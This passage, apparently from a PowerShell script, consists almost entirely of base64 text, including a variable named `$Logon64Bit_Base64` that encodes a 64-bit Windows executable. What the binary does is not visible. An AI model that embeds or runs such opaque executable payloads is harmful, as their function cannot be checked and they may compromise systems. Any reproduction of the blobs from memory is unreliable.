PIM8kjwePTU9bz33PQAAAOAAADQAAABXMWkx3TThNOU06TTtNPE09TT5NP00ATUFNQk1FzXVNe41/TUeNlY2szYAAADwAABIAAAA7zAmM1YzczORM6YzsDN7NPA0ATUVNRs1IDVHN343lDe6NzQ4cTh7OJo48jj4OBI5LTlCOUY5UjlWOWI5ZjkAAAAAAQCoAQAALDEwMTQxQDFEMUgxTDFYMVwxYDE8NkQ2TDZUNlw2ZDZsNnQ2fDaENow2lDacNqQ2rDa0Nrw2xDbMNtQ23DbkNuw29Db8NgQ3DDcUNxw3JDcsNzQ3PDdEN0w3VDdcN2Q3bDd0N3w3hDeMN5Q3nDekN6w3tDe8N8Q3zDfUN9w35DfsN/Q3/DcEOAw4FDgcOCQ4LDg0ODw4RDhMOFQ4XDhkOGw4dDh8OIQ4lDicOKQ4rDi0OLw4xDjMONQ43DjkOOw49Dj8OAQ5DDkUORw5JDksOTQ5PDlEOUw5VDlcOWQ5bDl0OXw5hDmMOZQ5nDmkOaw5tDm8OcQ5zDnUOdw55DnsOfQ5/DkEOgw6FDocOiQ6LDo0Ojw6RDpMOlQ6XDpkOmw6dDp8OoQ6jDqUOpw6pDqsOrQ6vDrEOsw61DrcOuQ67Dr0Ovw6BD8IPww/ED8UPxg/HD8gPyQ/KD8sPzA/ND84Pzw/QD9EP0g/TD9QP1Q/WD9cP2A/ZD9oP2w/cD90P3g/fD+QP5Q/mD+cP6A/pD+oP6w/sD+0P7g/4D/kP+g/7D8AEAEAWAAAAAQwCDD4NPw0ADUENSQ1LDU0NTw1RDVMNVQ1XDVkNWw1dDV8NYQ1jDWUNZw1pDWsNbQ1vDXENcw11DWEP4g/jD+QP8w/1D/cP+Q/7D/0P/w/ACABAIwDAAAEMAwwFDAcMCQwLDA0MDwwRDBMMFQwXDBkMGwwdDB8MIQwjDCUMJwwpDCsMLQwvDDEMMww1DDcMOQw7DD0MPwwBDEMMRQxHDEkMSwxNDE8MUQxTDFUMVwxZDFsMXQxfDGEMYwxlDGcMaQxrDG0MbwxxDHMMdQx3DHkMewx9DH8MQQyDDIUMhwyJDIsMjQyPDJEMkwyVDJcMmQybDJ0MnwyhDKMMpQynDKkMqwytDK8MsQyzDLUMtwy5DLsMvQy/DIEMwwzFDMcMyQzLDM0MzwzRDNMM1QzXDNkM2wzdDN8M4QzjDOUM5wzpDOsM7QzvDPEM8wz1DPcM+Qz7DP0M/wzBDQMNBQ0HDQkNCw0NDQ8NEQ0TDRUNFw0ZDRsNHQ0fDSENIw0lDScNKQ0rDS0NLw0xDTMNNQ03DTkNOw09DT8NAQ1DDUUNRw1JDUsNTQ1PDVENUw1VDVcNWQ1bDV0NXw1hDWMNZQ1nDWkNaw1tDW8NcQ1zDXUNdw15DXsNfQ1/DUENgw2FDYcNiQ2LDY0Njw2RDZMNlQ2XDZkNmw2dDZ8NoQ2jDaUNpw2pDasNrQ2vDbENsw21DbcNuQ26DbwNvg2ADcINxA3GDcgNyg3MDc4N0A3SDdQN1g3YDdoN3A3eDeAN4g3kDeYN6A3qDewN7g3wDfIN9A32DfgN+g38Df4NwA4CDgQOBg4IDgoODA4ODhAOEg4UDhYOGA4aDhwOHg4gDiIOJA4mDigOKg4sDi4OMA4yDjQONg44DjoOPA4+DgAOQg5EDkYOSA5KDkwOTg5QDlIOVA5WDlgOWg5cDl4OYA5iDmQOZg5oDmoObA5uDnAOcg50DnYOeA56DnwOfg5ADoIOhA6GDogOig6MDo4OkA6SDpQOlg6YDpoOnA6eDqAOog6kDqYOqA6qDqwOrg6wDrIOtA62DrgOug68Dr4OgA7CDsQOxg7IDsoOzA7ODtAO0g7UDtYO2A7aDtwO3g7gDuIO5A7mDugO6g7sDu4O8A7yDvQO9g74DvoO/A7+DsAPAg8EDwYPCA8KDwwPDg8QDxIPFA8WDxgPGg8cDx4PIA8iDyQPJg8oDyoPLA8uDzAPMg80DzYPOA86DzwPPg8AD0IPRA9GD0gPSg9MD04PUA9SD1QPVg9YD1oPXA9eD2APYg9kD2YPaA9qD2wPbg9wD3IPdA92D3gPeg98D34PQA+AAAAQAEA0AAAAMgwzDDQMNQw2DDcMOAw5DDoMOww8DD0MPgw/DAAMQQxCDEMMRAxFDEYMRwxIDEkMSgxLDEwMTQxODE8MUAxRDFIMUwxUDFUMVgxXDFgMWQxaDFsMXAxdDF4MXwxgDGEMYgxjDGQMZQxmDGcMaAxpDGoMawxsDG0MbgxvDHAMcQxyDHMMdAx1DHYMdwx4DHkMegx7DHwMfQx+DH8MQAyBDIIMgwyEDIUMhgyHDIgMiQyKDIsMjAyNDI4MjwyQDJEMkgyTDJQMgAAAFABADABAADcN+A3bDiEOJQ4mDisOLA4wDjEOMg40DjoOPg4/DgMORA5FDkcOTQ5RDlIOVg5XDlgOWQ5bDmEOZQ5mDmoOaw5sDm0Obw51DnkOeg5+Dn8OQQ6HDosOjA6QDpEOlQ6WDpcOmQ6fDqMOpA6qDq4Orw6wDrEOtg63DrgOvg6/DoUOyQ7KDs4Ozw7QDtIO2A7cDuAO4Q7iDuMO6A7pDuoO6w7+DsAPEQ8WDxoPHg8gDyIPJA8lDycPLA8uDzMPNQ86DzwPPg8AD0EPQg9ED0kPSw9ND08PUA9RD1MPWA9gD2gPbw9wD3gPfw9AD4gPkA+TD5oPnQ+kD6sPrA+zD7QPvA++D78Phg/ID8kPzw/QD9cP2A/cD+UP6A/qD/UP9g/4D/oP/A/9D/8PwBgAQAsAAAAEDAwMEwwUDBwMJAwsDDQMPAwEDEwMTwxWDF4MZgxuDHYMfgxAHABAFABAABkMGwwdDB8MIQwjDCUMJwwpDCsMLQwvDDEMMww1DDcMOQw7DD0MPwwBDEMMRQxHDEkMSwxNDE8MUQxcDF0MUAzRDNIM0wzUDNUM1gzXDNgM2QztDjAOcg5SDxMPFA8VDxYPFw8YDxkPGg8bDxwPHQ8eDx8PIA8hDyIPIw8kDyUPJg8nDygPKQ8qDysPLA8tDy4PLw8wDzEPMg8zDzQPNQ82DzcPOA85DzoPOw88Dz8PAA9BD0IPQw9ED0UPRg9HD0gPSQ9KD0sPTA9ND04PTw9QD1EPUg9TD1QPVQ9WD1cPWA9ZD1oPWw9cD10PXg9fD2APYQ9iD2MPZA9lD2YPZw9oD2kPag9rD3UPeQ99D0EPhQ+ND5APkQ+SD5MPoA+iD6MPpA+lD6YPpw+oD6kPqg+rD64Prw+wD7EPsg+zD7QPtQ+3D7gPuQ+AIABACQAAADoMewx8DH0MRAyLDJMMmwyjDKkMsQy8DIcM0AzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" + $Logon64Bit_Base64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAd9fAjWZSecFmUnnBZlJ5wH8V+cCmUnnAfxUFwUpSecB/Ff3B0lJ5whGtVcF6UnnBZlJ9wA5SecFTGe3BalJ5wVMZCcFiUnnBUxkVwWJSecFTGQHBYlJ5wUmljaFmUnnAAAAAAAAAAAAAAAAAAAAAAUEUAAGSGBgDy6PtSAAAAAAAAAADwACIgCwIMAAD4AAAA7gAAAAAAAKAvAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAAIAIAAAQAAAAAAAACAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAECdAQBFAAAAiJ0BAFAAAAAAAAIA4AEAAADwAQC8DQAAAAAAAAAAAAAAEAIA+AcAAAATAQA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIcBAHAAAAAAAAAAAAAAAAAQAQBwAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAD/9gAAABAAAAD4AAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA+pUAAAAQAQAAlgAAAPwAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAHg+AAAAsAEAABoAAACSAQAAAAAAAAAAAAAAAABAAADALnBkYXRhAAC8DQAAAPABAAAOAAAArAEAAAAAAAAAAAAAAAAAQAAAQC5yc3JjAAAA4AEAAAAAAgAAAgAAALoBAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAPgHAAAAEAIAAAgAAAC8AQAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiNDen2AADp/BwAAMzMzMxIjQ3J9gAA6ewcAADMzMzMSI0NqfYAAOncHAAAzMzMzEBTSIPsIEiNBfsVAQBIi9lIiQH2wgF0Bej/HAAASIvDSIPEIFvDzMzMzMzMzMzMzESJAkiJSghIi8LDzMzMzMxAU0iD7DBIiwFJi9hEi8JIjVQkIP9QGEiLSwhIOUgIdQ6LCzkIdQiwAUiDxDBbwzLASIPEMFvDzMzMzMzMzMzMSDtKCHUIRDkCdQOwAcMywMPMzMzMzMzMzMzMzMzMzMxIjQVBcwEAw8zMzMzMzMzMSIlcJAhXSIPsMDPbQYvISIv6iVwkIOjxEgAASMdHGA8AAABIhcBIiV8QSI0VD3MBAEgPRdCIHzgadA5Ig8v/kEj/w4A8GgB190yLw0iLz+h8AgAASItcJEBIi8dIg8QwX8PMzMzMzMzMzMzMzMzMzEiNBdlyAQDDzMzMzMzMzMxAU0iD7DAzwEiL2olEJCBBg/gBdSpIx0IYDwAAAEiJQhCIAkiNFbZyAQBEjUAVSIvL6BoCAABIi8NIg8QwW8PoPP///0iLw0iDxDBbw8zMzEiNBaFyAQDDzMzMzMzMzMxIiVwkCFdIg+wwM9tBi8hIi/qJXCQg6DkSAABIx0cYDwAAAEiFwEiJXxBIjRUvcgEASA9F0IgfOBp0DkiDy/+QSP/DgDwaAHX3TIvDSIvP6JwBAABIi1wkQEiLx0iDxDBfw8zMzMzMzMzMzMzMzMzMSIlcJAhXSIPsIEGLyEGL+EiL2uikEQAAiTtIhcBIjQWEtQEAdQdIjQVrtQEASIlDCEiLw0iLXCQwSIPEIF/DzLgBAAAAw8zMzMzMzMzMzMxIiVwkCEiJbCQQSIl0JBhXSIPsIEiLehBJi+hIi/JIi9lJO/gPgtoAAABJK/hMO89JD0L5SDvKdS9KjQQHSDlBEA+CygAAAEiDeRgQSIlBEHIDSIsJxgQBADPSSIvL6A0CAADphAAAAEiD//4Ph6wAAABIi0EYSDvHcydMi0EQSIvX6LkCAABIhf90YEiDfhgQcgNIizZIg3sYEHIkSIsL6yJIhf915UiJeRBIg/gQcghIiwFAiDjrM0iLwcYBAOsrSIvLSIX/dAxIjRQuTIvH6PsSAABIg3sYEEiJexByBUiLA+sDSIvDxgQ4AEiLbCQ4SIt0JEBIi8NIi1wkMEiDxCBfw0iNDeVwAQDoPBIAAMxIjQ3YcAEA6C8SAADMSI0Nu3ABAOjqEQAAzMzMzMzMSIlcJAhIiXQkEFdIg+wgSYv4SIvySIvZSIXSdFpIi1EYSIP6EHIFSIsB6wNIi8FIO/ByQ0iD+hByA0iLCUgDSxBIO852MUiD+hByBUiLA+sDSIvDSCvwTYvISIvTTIvGSIvLSItcJDBIi3QkOEiDxCBf6Vn+//9Jg/j+D4ekAAAASItDGEk7wHMgTItDEEiL10iLy+h3AQAASIX/dHRIg3sYEHJDSIsL60FNhcB16kyJQxBIg/gQchlIiwNEiABIi8NIi1wkMEiLdCQ4SIPEIF/DSIvDxgMASItcJDBIi3QkOEiDxCBfw0iLy0iF/3QLTIvHSIvW6KURAABIg3sYEEiJexByBUiLA+sDSIvDxgQ4AEiLdCQ4SIvDSItcJDBIg8QgX8NIjQ2EbwEA6LMQAADMzMzMzMzMzMzMzMzMzMxIiVwkCFdIg+wgSIt5EEiL2Ug7+g+CpAAAAEiLx0grwkk7wHc1SIN5GBBIiVEQchVIiwHGBBAASIvBSItcJDBIg8QgX8NIi8HGBBEASIvDSItcJDBIg8QgX8NNhcB0UUiDeRgQcgVIiwHrA0iLwUkr+EiNDBBIi8dIK8J0DEqNFAFMi8Do1xAAAEiDexgQSIl7EHIVSIsDxgQ4AEiLw0iLXCQwSIPEIF/DSIvDxgQ7AEiLw0iLXCQwSIPEIF/DSI0Nu24BAOgSEAAAzMzMzMzMTIlEJBhIiVQkEEiJTCQIU1ZXQVZIg+w4SMdEJCD+////SYvwSIvZSIv6SIPPD0iD//52BUiL+us1TItBGEmLyEjR6Ui4q6qqqqqqqqpI9+dI0epIO8p2FkjHx/7///9Ii8dIK8FMO8B3BEqNPAFIjU8BRTP2SIXJdBlIg/n/dw3oaxcAAEyL8EiFwHUG6P4OAACQ6xRIi1wkYEiLdCRwSIt8JGhMi3QkeEiF9nQfSIN7GBByBUiLE+sDSIvTSIX2dAtMi8ZJi87oww8AAEiDexgQcghIiwvosBYAAMYDAEyJM0iJexhIiXMQSIP/EHIDSYvexgQzAEiDxDhBXl9eW8PMzMzMzMzMzMzMzMzMzMxAVVdBVEiNbCSASIHsgAEAAEiLBSCZAQBIM8RIiUVwRTPkSI0Nj20BAEUzyUyJZCQwRY1EJAO6AAAAwMdEJCiAAAAAx0QkIAMAAAD/FR/5AABIi/hIg/j/D4RoBQAASIm0JKgBAAC5AgIAAEyJtCSwAQAATIm8JLgBAADotA4AALkCAgAATIv46KcOAAC5AgIAAEiL8OiaDgAATI1MJHBBuAACAABJi9dIi89Mi/BEiWQkcEyJZCQg/xWa+AAAhcAPhOgEAACLTCRwTI1MJHBBuAACAABI0elIi9ZMiWQkIGZFiSRPSIvPRIlkJHD/FWX4AACFwA+EswQAAItEJHBMjUwkcEG4AAIAAEjR6EmL1kiLz2ZEiSRGRIlkJHBMiWQkIP8VMPgAAIXAD4R+BAAAi0QkcEyNTCRwRY1EJAFI0ehIjVQkeEiLz2ZFiSRGuAoAAABEiWQkcGaJRCR4TIlkJCD/FfD3AACFwA+EPgQAAEyNTCRwRY1EJAFIjVQkfEiLz0SJZCRwZkSJZCR8TIlkJCD/FcD3AACFwA+EDgQAAEiNTYhEiWQkcEyJZYj/Fd35AACFwHR3SI1N8IvQ6L4KAABIjRUPbAEASI1N0EyLwOibBQAASIN9CBByCUiLTfDolxQAAEiNVdBIjU3wSYPJ/0UzwEjHRQgPAAAATIllAESIZfDop/n//0iNTfBIi9fo2wQAAEiDfegQD4KOAwAASItN0OhTFAAA6YADAABMOWWIdW9IjRXNawEASI1N8EG4NgAAAEjHRQgPAAAATIllAESIZfDohvr//0iNVfBIjU3QSYPJ/0UzwEjHRegPAAAATIll4ESIZdDoMvn//0iNTdBIi9foZgQAAEiDfQgQD4IZAwAASItN8OjeEwAA6QsDAAAzwEiJnCSgAQAARIllgEiJRahIiUWwiEQkdEiNRCR0RIllqEiJRbAPt0QkfGaD+AF1G0yNTYBNi8ZIi9ZJi89IjR1XawEA6PICAADrI2aD+AIPhUYCAABMjU2ATYvGSIvWSYvPSI0dWmsBAOjNAgAAuRAAAABIi/BEiWWE6LwTAABIi9BIhcB0CzPASIkCSIlCCOsDSYvUSIlaCEiDyP9I/8BEOCQDdfdmiQJIg8j/SP/ARDgkA3X3ZolCAkiLTYhMjUWE/xUb+AAAhcB0P4vI/xXH9QAASI1N0IvQ6FwIAABIjRUlawEASI1N8EyLwOjZAwAASIN96BAPgsQBAABIi03Q6NESAADptgEAAP8VqvUAAEyNRaC6/wEPAEiLyEyJZaD/FWz1AACFwHUa/xWS9QAASI1N0IvQ6F8HAABIjRUIawEA66FIi02gM8BBuRAAAABIiUUQSIlFGEiNRZhMjUUQQY1R90SJZZhIiUQkIP8VF/UAAIXAdRBEjUAjSI0V+GoBAOkgAQAARA+3RCR4RItNhEiLTYhIjUWUSI1VqEyJZcBIiUQkaEiNRUBEiWWQSIlEJGBIjUW4TIlluEiJRCRYSI1FyESJZZRIiUQkUEiNRZBIiUQkSEiNRcBIiUQkQEiNRRBIiUQkOItFgEyJZCQwiUQkKEiJdCQg/xXb9gAAhcB0H4vI/xWP9AAASI1N0IvQ6MQHAABIjRWFagEA6cP+//9Ii024/xV29AAASI0Vp2oBAEiNTSBBuG4AAABIx0U4DwAAAEyJZTBEiGUg6Oj3//9IjVUgSI1N0EmDyf9FM8BIx0XoDwAAAEyJZeBEiGXQ6JT2//9IjU3QSIvX6MgBAABFM8Az0jPJ/xVz9AAAg8n//xU69AAA6/VBuDQAAABIjRUraQEASI1N8EjHRQgPAAAATIllAESIZfDoevf//0iNVfBIjU3QSYPJ/0UzwEjHRegPAAAATIll4ESIZdDoJvb//0iNTdBIi9foWgEAAEiDfQgQcglIi03w6NYQAABIi5wkoAEAAEiLtCSoAQAATIu0JLABAABMi7wkuAEAAEiLTXBIM8zofgkAAEiBxIABAABBXF9dw8zMSIlcJAhIiWwkEEiJdCQYV0FUQVVBVkFXSIPsIE2L6U2L4EiL6kiL+f8VcvMAAEiLzYvY/xVn8wAASYvMA9j/FVzzAAADw0iYTI08RTgAAABJi8/o/AgAAEiLz0iNcDjHAAIAAABMi/D/FTLzAABIi9dIi85IY9hJiXYQSAPbTIvDZkGJXghmQYleCugQCQAASIvNSAPz/xUE8wAASIvVSIvOSGPYSYl2IEgD20yLw2ZBiV4YZkGJXhro4ggAAEmLzEgD8/8V1vIAAEmL1EiLzkxjwEmJdjBNA8BmRYlGKGZFiUYq6LcIAABIi1wkUEiLbCRYSIt0JGBFiX0ASYvGSIPEIEFfQV5BXUFcX8PMzMxAU0iD7EBIg3kYEEiLwkiL2XIFSIsR6wNIi9HHRCQwAAAAAEmDyP9mDx+EAAAAAABJ/8BCgDwCAHX2TI1MJDBIi8hIx0QkIAAAAAD/FUfyAABIg3sYEHIISIsL6CwPAABIx0MYDwAAAEjHQxAAAAAAxgMASIPEQFvDzMzMzMzMzEiJXCQISIl0JBBXSIPsMDP2SYvASIv5iXQkIEA4MnUFRIvO6xRJg8n/Dx+AAAAAAEn/wUI4NAp190yLwkiLyOhsAAAASMdHGA8AAABIiXcQQIg3SIN4GBBIi9hzFkyLQBBJ/8B0FkiL0EiLz+ifBwAA6wlIiwBIiQdIiTNIi0MQSIlHEEiLQxhIiUcYSIlzEEjHQxgPAAAAQIgzSItcJEBIi3QkSEiLx0iDxDBfw8zMSIlcJBBIiWwkGFZIg+wwSYvxSYvoSIvZTYXAdF1Ii1EYSIP6EHIFSIsB6wNIi8FMO8ByRkiD+hByA0iLCUgDSxBJO8h2NEiD+hByBUiLA+sDSIvDSCvoTIlMJCBMi8NMi81Ii8voFgEAAEiLXCRISItsJFBIg8QwXsNMi0MQSIPI/0krwEk7wQ+G2AAAAEiJfCRATYXJD4SyAAAAS408CEiD//4Ph8kAAABIi0MYSDvHcyNIi9dIi8voEvb//0iF/w+EhwAAAEiLQxhIg/gQciRIixPrIkiF/3XsSIl7EEiD+BByCEiLA0CIOOthSIvDxgMA61lIi9NIg/gQcgVIiwPrA0iLw0yLQxBNhcB0CUiNDDDoSAYAAEiDexgQcgVIiwvrA0iLy0iF9nQLTIvGSIvV6CkGAABIg3sYEEiJexByBUiLA+sDSIvDxgQ4AEiLfCRASItsJFBIi8NIi1wkSEiDxDBew0iNDQNkAQDoMgUAAMxIjQ32YwEA6CUFAADMSIlcJBhMiXQkIEFXSIPsIEmLQBBNi/lNi/BIi9lJO8EPgm0BAABMi0EQSSvBSIl8JDhIi3wkUEg7x0gPQvhIg8j/SSvASDvHD4YrAQAASIl0JDBIhf8PhP8AAABJjTQ4SIP+/g+HHAEAAEiLQRhIO8ZzIEiL1ujV9P//SIX2D4TXAAAASItDGEiD+BByKkiLE+soSIX2dexIiXEQSIP4EHILSIsBQIgw6a4AAABIi8HGAQDpowAAAEiL00iD+BByBUiLA+sDSIvDTItDEE2FwHQJSI0MOOgFBQAASTvedTpNhf90A0wD/0iLQxhIg/gQcgVIixPrA0iL00iD+BByBUiLC+sDSIvLSIX/dDdJA9dMi8foyAQAAOsqSYN+GBByA02LNkiDexgQcgVIiwvrA0iLy0iF/3QMS40UPkyLx+icBAAASIN7GBBIiXMQcgVIiwPrA0iLw8YEMABIi3QkMEiLfCQ4TIt0JEhIi8NIi1wkQEiDxCBBX8NIjQ1wYgEA6J8DAADMSI0NY2IBAOiSAwAAzEiNDWZiAQDovQMAAMxIiVwkGFdIgeyAAAAASIsF5I0BAEgzxEiJRCRwM9tIi/lEi8pMjQWFZAEASI1MJDCNU0CJXCQg6NALAABIx0cYDwAAAEiJXxCIHzhcJDB0GUiNRCQwSIPL/w8fgAAAAABI/8OAPBgAdfdIjVQkMEyLw0iLz+gn8f//SIvHSItMJHBIM8zohwMAAEiLnCSgAAAASIHEgAAAAF/DzMzMzMzMSIlcJBhXSIHsgAAAAEiLBUSNAQBIM8RIiUQkcDPbSIv5RIvKTI0F6WMBAEiNTCQwjVNAiVwkIOgwCwAASMdHGA8AAABIiV8QiB84XCQwdBlIjUQkMEiDy/8PH4AAAAAASP/DgDwYAHX3SI1UJDBMi8NIi8/oh/D//0iLx0iLTCRwSDPM6OcCAABIi5wkoAAAAEiBxIAAAABfw8zMzMzMzEiJXCQYV0iB7IAAAABIiwWkjAEASDPESIlEJHAz20iL+USLykyNBU1jAQBIjUwkMI1TQIlcJCDokAoAAEjHRxgPAAAASIlfEIgfOFwkMHQZSI1EJDBIg8v/Dx+AAAAAAEj/w4A8GAB190iNVCQwTIvDSIvP6Ofv//9Ii8dIi0wkcEgzzOhHAgAASIucJKAAAABIgcSAAAAAX8PMzEiDPQT0AAAASI0F9fMAAHQPOQh0DkiDwBBIg3gIAHXxM8DDSItACMNIgz0s7wAAAEiNBR3vAAB0DzkIdA5Ig8AQSIN4CAB18TPAw0iLQAjDQFNIg+wgSIvZ6IIVAABIjQXHAgEASIkDSIvDSIPEIFvDzMzMQFNIg+wgSIvZ6F4VAABIjQXjAgEASIkDSIvDSIPEIFvDzMzMQFNIg+wgSIvZ6DoVAABIjQWnAgEASIkDSIvDSIPEIFvDzMzMQFNIg+wgSIvZ6BYVAABIjQWzAgEASIkDSIvDSIPEIFvDzMzMSI0FRQIBAEiJAekdFQAAzOkXFQAAzMzMSIlcJAhXSIPsIEiNBSMCAQCL2kiL+UiJAej2FAAA9sMBdAhIi8/oPQgAAEiLx0iLXCQwSIPEIF/DzMzMSIlcJAhXSIPsIIvaSIv56MQUAAD2wwF0CEiLz+gLCAAASIvHSItcJDBIg8QgX8PMSIPsSEiNBc0BAQBIjVQkUEiNTCQgQbgBAAAASIlEJFDoOxQAAEiNBZwBAQBIjRXVdQEASI1MJCBIiUQkIOgmDAAAzMxIg+xISIlMJFBIjVQkUEiNTCQg6NQTAABIjQWlAQEASI0VTnYBAEiNTCQgSIlEJCDo7wsAAMzMzEiD7EhIiUwkUEiNVCRQSI1MJCDonBMAAEiNBYUBAQBIjRV+dgEASI1MJCBIiUQkIOi3CwAAzMzM6acHAADMzMzMzMzMzMzMzMzMZmYPH4QAAAAAAEg7DeGJAQB1EUjBwRBm98H//3UC88NIwckQ6S0VAADMzMzMzMzMZmYPH4QAAAAAAEyL2UyL0kmD+BAPhrkAAABIK9FzD0mLwkkDwEg7yA+MlgMAAA+6JQipAQABcxNXVkiL+UmL8kmLyPOkXl9Ji8PDD7ol66gBAAIPglYCAAD2wQd0NvbBAXQLigQKSf/IiAFI/8H2wQJ0D2aLBApJg+gCZokBSIPBAvbBBHQNiwQKSYPoBIkBSIPBBE2LyEnB6QUPhdkBAABNi8hJwekDdBRIiwQKSIkBSIPBCEn/yXXwSYPgB02FwHUHSYvDww8fAEiNFApMi9HrA02L00yNDd3Y//9Di4SBMCcAAEkDwf/gdCcAAHgnAACDJwAAjycAAKQnAACtJwAAvycAANInAADuJwAA+CcAAAsoAAAfKAAAPCgAAE0oAABnKAAAgigAAKYoAABJi8PDSA+2AkGIAkmLw8NID7cCZkGJAkmLw8NID7YCSA+3SgFBiAJmQYlKAUmLw8OLAkGJAkmLw8NID7YCi0oBQYgCQYlKAUmLw8NID7cCi0oCZkGJAkGJSgJJi8PDSA+2AkgPt0oBi1IDQYgCZkGJSgFBiVIDSYvDw0iLAkmJAkmLw8NID7YCSItKAUGIAkmJSgFJi8PDSA+3AkiLSgJmQYkCSYlKAkmLw8NID7YCSA+3SgFIi1IDQYgCZkGJSgFJiVIDSYvDw4sCSItKBEGJAkmJSgRJi8PDSA+2AotKAUiLUgVBiAJBiUoBSYlSBUmLw8NID7cCi0oCSItSBmZBiQJBiUoCSYlSBkmLw8NMD7YCSA+3QgGLSgNIi1IHRYgCZkGJQgFBiUoDSYlSB0mLw8PzD28C80EPfwJJi8PDZmZmZmYPH4QAAAAAAEiLBApMi1QKCEiDwSBIiUHgTIlR6EiLRArwTItUCvhJ/8lIiUHwTIlR+HXUSYPgH+ny/f//SYP4IA+G4QAAAPbBD3UODxAECkiDwRBJg+gQ6x0PEAwKSIPBIIDh8A8QRArwQQ8RC0iLwUkrw0wrwE2LyEnB6Qd0Zg8pQfDrCmaQDylB4A8pSfAPEAQKDxBMChBIgcGAAAAADylBgA8pSZAPEEQKoA8QTAqwSf/JDylBoA8pSbAPEEQKwA8QTArQDylBwA8pSdAPEEQK4A8QTArwda0PKUHgSYPgfw8owU2LyEnB6QR0GmYPH4QAAAAAAA8pQfAPEAQKSIPBEEn/yXXvSYPgD3QNSY0ECA8QTALwDxFI8A8pQfBJi8PDDx9AAEEPEAJJjUwI8A8QDApBDxEDDxEJSYvDww8fhAAAAAAAZmZmkGZmZpBmkA+6JXKlAQACD4K5AAAASQPI9sEHdDb2wQF0C0j/yYoECkn/yIgB9sECdA9Ig+kCZosECkmD6AJmiQH2wQR0DUiD6QSLBApJg+gEiQFNi8hJwekFdUFNi8hJwekDdBRIg+kISIsECkn/yUiJAXXwSYPgB02FwHUPSYvDw2ZmZg8fhAAAAAAASSvITIvRSI0UCul9/P//kEiLRAr4TItUCvBIg+kgSIlBGEyJURBIi0QKCEyLFApJ/8lIiUEITIkRddVJg+Af645Jg/ggD4YF////SQPI9sEPdQ5Ig+kQDxAECkmD6BDrG0iD6RAPEAwKSIvBgOHwDxAECg8RCEyLwU0rw02LyEnB6Qd0aA8pAesNZg8fRAAADylBEA8pCQ8QRArwDxBMCuBIgemAAAAADylBcA8pSWAPEEQKUA8QTApASf/JDylBUA8pSUAPEEQKMA8QTAogDylBMA8pSSAPEEQKEA8QDAp1rg8pQRBJg+B/DyjBTYvIScHpBHQaZmYPH4QAAAAAAA8pAUiD6RAPEAQKSf/JdfBJg+APdAhBDxAKQQ8RCw8pAUmLw8PMzMxAU0iD7CC6CAAAAI1KGOhtFwAASIvISIvY/xWx5AAASIkFgsIBAEiJBXPCAQBIhdt1BY1DGOsGSIMjADPASIPEIFvDzEiJXCQISIl0JBBIiXwkGEFUQVZBV0iD7CBMi+HoLxUAAJBIiw07wgEA/xVl5AAATIvwSIsNI8IBAP8VVeQAAEiL2Ek7xg+CmwAAAEiL+Ekr/kyNfwhJg/8ID4KHAAAASYvO6JkWAABIi/BJO8dzVboAEAAASDvCSA9C0EgD0Eg70HIRSYvO6K0XAAAz20iFwHUa6wIz20iNViBIO9ZySUmLzuiRFwAASIXAdDxIwf8DSI0c+EiLyP8Vz+MAAEiJBaDBAQBJi8z/Fb/jAABIiQNIjUsI/xWy4wAASIkFe8EBAEmL3OsCM9vobxQAAEiLw0iLXCRASIt0JEhIi3wkUEiDxCBBX0FeQVzDzMxIg+wo6Ov+//9I99gbwPfY/8hIg8Qow8xIg+woSIsNvaIBAP8VX+MAAEiFwHQC/9C6AQAAADPJ6FgZAADobxkAAMzMzOnHGQAAzMzMSIPsKEiLwkiNURFIjUgR6AgaAACFwA+UwEiDxCjDzMxIiVwkCFdIg+wgSI0FC/oAAIvaSIv5SIkB6EYaAAD2wwF0CEiLz+it////SIvHSItcJDBIg8QgX8PMzMxAU0iD7EBIi9nrD0iLy+g5Gw